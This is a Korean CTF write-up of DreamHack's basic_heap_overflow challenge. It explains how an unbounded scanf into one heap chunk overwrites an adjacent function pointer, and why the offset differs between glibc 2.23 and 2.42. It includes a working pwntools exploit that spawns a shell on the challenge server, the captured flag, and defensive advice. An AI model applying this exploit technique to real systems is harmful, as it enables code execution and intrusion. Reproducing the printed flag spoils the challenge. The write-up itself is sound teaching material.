[🥈 Silver 4] 인접 힙 청크의 함수 포인터를 넘어 덮다 — DreamHack basic_heap_overflow 풀이

스택 버퍼 오버플로우는 지겹도록 봤는데, 이 문제는 무대가 힙이다. 이름 그대로 basic_heap_overflow. 힙에서 연속으로 잡힌 두 청크 중 앞 청크에 경계 없이 입력을 받아, 바로 뒤 청크에 들어있는 함수 포인터를 덮는 게 전부다. 스택 카나리도, 반환 주소 계산도 필요 없다. 대신 힙 청크가 메모리에서 어떻게 배치되는지, 그리고 그 배치가 glibc 버전마다 조금씩 다르다는 걸 알아야 한다. 마지막 함정이 바로 거기 있었다.

무엇을 주는 문제인가

문제는 서버에서 도는 서비스(basic_heap_overflow)의 바이너리와 소스 코드를 준다. 익스플로잇해서 셸을 얻고 flag 파일을 읽으면 된다. 먼저 바이너리부터 살펴봤다.

file basic_heap_overflow; checksec basic_heap_overflow

정리하면 이렇다.

• Arch: i386 — 32비트. 주소가 4바이트, 포인터도 4바이트다.
• No PIE (0x8048000) — 코드가 항상 0x08048000 대역에 고정으로 올라온다. get_shell 같은 함수 주소를 그냥 상수로 써도 된다.
• No canary — 스택 카나리가 없지만, 이 문제는 애초에 스택이 아니라 힙을 넘어뜨리므로 상관없다.
• NX enabled — 힙/스택에 올린 데이터를 실행할 수 없다. 셸코드를 심는 게 아니라 이미 있는 get_shell 함수를 재사용해야 한다는 뜻이다.

이 조합은 "주소가 고정된 기존 함수로 실행 흐름을 돌려라"는 신호다. 소스를 보면 그 함수가 친절하게 준비돼 있다.

소스 읽기

cat basic_heap_overflow.c

핵심만 추리면 이렇다.

struct over {
    void (*table)();          // 구조체의 유일한 멤버 = 함수 포인터
};
 
void get_shell() {
    system("/bin/sh");        // 우리가 부르고 싶은 함수
}
 
int main() {
    char *ptr = malloc(0x20);        // 청크 1
    struct over *over = malloc(0x20);// 청크 2 (바로 뒤에 잡힘)
 
    initialize();
    over->table = table_func;        // 원래는 "overwrite_me!" 를 출력하는 함수
 
    scanf("%s", ptr);                // ★ 길이 제한 없는 입력
 
    if( !over->table ){
        return 0;
    }
    over->table();                   // ★ 함수 포인터 호출
    return 0;
}

읽자마자 걸리는 게 두 가지다.

첫째, malloc(0x20) 이 연달아 두 번 호출된다. 같은 크기의 청크를 연속으로 잡으면 힙에서 물리적으로 붙어서 배치된다. ptr 청크 바로 다음이 over 청크다.

둘째, scanf("%s", ptr) 에 길이 제한이 없다. %s 는 공백/개행을 만날 때까지 받은 만큼 그대로 버퍼에 쓴다. ptr 이 가리키는 청크는 사용자 데이터 공간이 0x20 바이트뿐인데, 그걸 넘겨 쓰면 뒤 청크로 흘러넘친다. 그 뒤 청크의 첫 4바이트가 바로 over->table — 우리가 노리는 함수 포인터다.

마지막 if( !over->table ) 는 함수 포인터가 0이면 그냥 종료한다. 우리는 0이 아닌 값(get_shell 주소)으로 덮을 거라 이 검사는 자연히 통과하고, over->table() 이 그대로 실행된다.

표적 주소 확보

get_shell 의 주소가 필요하다. No PIE라 심볼 테이블의 값이 곧 실제 런타임 주소다.

get_shell = 0x0804867b. 바이트로 풀면 7b 86 04 08 인데, scanf("%s") 가 싫어하는 널 바이트나 공백(0x09~0x0d, 0x20)이 하나도 없다. 그대로 입력에 실어 보낼 수 있다.

디스어셈블로 main 의 실제 흐름도 확인했다.

mov DWORD PTR [eax], 0x8048694 가 over->table = table_func 이고, __isoc99_scanf 호출 뒤 mov eax,[eax] → call eax 로 함수 포인터를 그대로 부른다. 소스와 어셈블리가 정확히 일치한다. 이제 call eax 직전에 eax 가 get_shell 이 되도록 over->table 을 덮으면 끝이다.

오버플로우 구조

두 청크가 어떻게 붙어 있고, 어디까지 채워야 함수 포인터에 닿는지를 그림으로 정리했다.

32비트 glibc의 청크 하나는 [prev_size 4B][size 4B][사용자 데이터 …] 구조다. malloc(0x20) 은 요청 크기 0x20 에 관리용 4바이트를 더하고 8바이트 정렬로 맞춰 청크 크기 0x28 이 된다(request2size(0x20) = (0x20 + 4 + 7) & ~7 = 0x28). 반환되는 사용자 포인터는 청크 시작 + 8이다.

그래서 ptr 에서 over->table 까지의 거리는:

ptr 사용자 데이터  0x20 (32) 바이트
+ over 청크 헤더    0x08 (8)  바이트  (prev_size + size)
= 0x28 (40) 바이트

즉 'A' * 40 으로 여기까지 정확히 채운 뒤, 이어지는 4바이트에 get_shell 주소를 쓰면 over->table 이 통째로 바뀐다.

오프셋 함정 — 로컬과 타깃이 다르다

이 문제에서 유일하게 발이 걸렸던 부분이다. 로컬에서 gdb로 두 청크 주소를 직접 찍어 오프셋을 재봤더니 0x28이 아니라 0x30(48) 이 나왔다.

▶ 삽질: 로컬 glibc 로 잰 오프셋 48을 그대로 원격에 쐈다가 헛발질

malloc 이 반환한 두 포인터를 gdb로 직접 비교했다. main 에서 두 번째 malloc 직후(*0x80486de)에 멈춰 스택의 [ebp-0x10](ptr), [ebp-0xc](over) 값을 읽었다.

로컬에서는 over - ptr = 0x30, 즉 48바이트가 나온다. 내 우분투의 32비트 glibc는 2.42인데, glibc 2.26 무렵부터 i386의 MALLOC_ALIGNMENT 정렬 정책이 바뀌어 같은 malloc(0x20) 이라도 청크가 0x30 으로 잡히기 때문이다.

그런데 이 문제 서버는 Ubuntu 16.04 = glibc 2.23 이다. 2.23에서는 request2size(0x20) = 0x28, 오프셋이 40이다. 즉 로컬에서 잰 48은 타깃과 다른 값이다.

로컬 값(48)을 그대로 믿고 원격에 쏘면 함수 포인터를 8바이트 빗나가 덮게 되고, call eax 는 엉뚱한 값으로 뛴다. "오프셋은 로컬 gdb로 재면 된다"는 습관이 배신하는 지점이다. 힙 오프셋은 타깃 glibc 기준으로 계산해야 한다. 그래서 원격 페이로드는 로컬 실측 48이 아니라 glibc 2.23 계산값 40을 썼다.

기법 자체가 맞는지는 로컬(glibc 2.42, 오프셋 48)에서 가짜 flag 파일로 먼저 확인했다. 'A' * 48 + p32(get_shell) 로 함수 포인터를 덮으니 셸이 떨어지고 파일이 읽힌다.

메커니즘이 확인됐으니 원격에는 오프셋만 40으로 바꿔 그대로 적용하면 된다.

익스플로잇

페이로드는 결국 한 줄이다. 40바이트 패딩 + get_shell 주소. scanf 로 심은 뒤 곧바로 셸이 열리므로, 같은 소켓으로 cat flag 를 흘려보내 플래그를 회수한다.

#!/usr/bin/env python3
# basic_heap_overflow (DreamHack, Silver 4)
# ptr = malloc(0x20); over = malloc(0x20)  -> 두 청크가 힙에서 연속.
# scanf("%s", ptr) 에 길이 제한이 없어 ptr 청크를 넘어 인접한 over 청크의
# 첫 멤버(함수 포인터 over->table)를 덮을 수 있다. 이를 get_shell 로 덮으면
# main 끝의 over->table() 호출이 곧 system("/bin/sh") 가 된다.
from pwn import *
 
context.update(arch='i386', os='linux', log_level='warn')
 
HOST, PORT = 'host3.dreamhack.games', 14875
GET_SHELL  = 0x0804867b        # nm: T get_shell  ->  system("/bin/sh")
OFFSET     = 40                # 타깃 glibc 2.23 i386: malloc(0x20) => chunk 0x28
 
payload  = b'A' * OFFSET       # ptr 청크(+헤더)를 채워 over 경계까지 이동
payload += p32(GET_SHELL)      # over->table  <-  get_shell
 
io = remote(HOST, PORT)
io.sendline(payload)
io.sendline(b'id; cat flag; echo ===END===')
print(io.recvuntil(b'===END===').decode(errors='replace').replace('===END===','').strip())
io.close()

실행하면 id 가 서비스 계정으로 찍히고 flag 파일 내용이 그대로 나온다.

uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow)
DH{f1c2027b0b36ee204723079c7ae6c042}

플래그는 DH{f1c2027b0b36ee204723079c7ae6c042}. 라이브 서버에 인증하니 정답 처리됐다.

방어 관점에서

이 버그의 뿌리는 두 개다.

첫째, 경계 없는 입력. scanf("%s", ptr) 는 버퍼 크기를 전혀 모른다. 최소한 scanf("%31s", ptr) 처럼 폭을 지정하거나, fgets(ptr, 0x20, stdin) / read(0, ptr, 0x20) 처럼 크기를 넘기는 함수를 써야 한다. C에서 사용자 입력을 고정 버퍼에 받을 때 크기를 함께 넘기지 않는 순간, 그 옆에 무엇이 있든 덮인다.

둘째, 신뢰 데이터와 사용자 데이터의 인접 배치. 함수 포인터(over->table)처럼 실행 흐름을 결정하는 값이, 경계 없이 채워지는 사용자 버퍼 바로 뒤에 놓여 있다. 힙 배치는 프로그래머가 통제하기 어렵지만, 애초에 "제어 데이터 → 함수 포인터 호출" 패턴은 위험하다. 함수 포인터 대신 정수 인덱스 + 고정 테이블 조회(range 검사 포함)로 바꾸면, 값을 덮어도 임의 주소로 못 뛴다.

여기에 더해 배포 환경에서 PIE와 Full RELRO 를 켰다면 get_shell 주소가 고정되지 않아 공격 난도가 크게 올라간다. 이 문제는 학습용이라 보호기법을 일부러 꺼둔 것이고, 실무 바이너리라면 기본으로 켜져 있어야 할 것들이다.

정리하면, 32비트·No PIE 환경에서 연속 malloc + 경계 없는 scanf + 인접 함수 포인터 라는 세 조건이 겹치면, 스택을 건드리지 않고도 셸까지 곧장 이어진다. 힙 오버플로우의 가장 담백한 형태였다.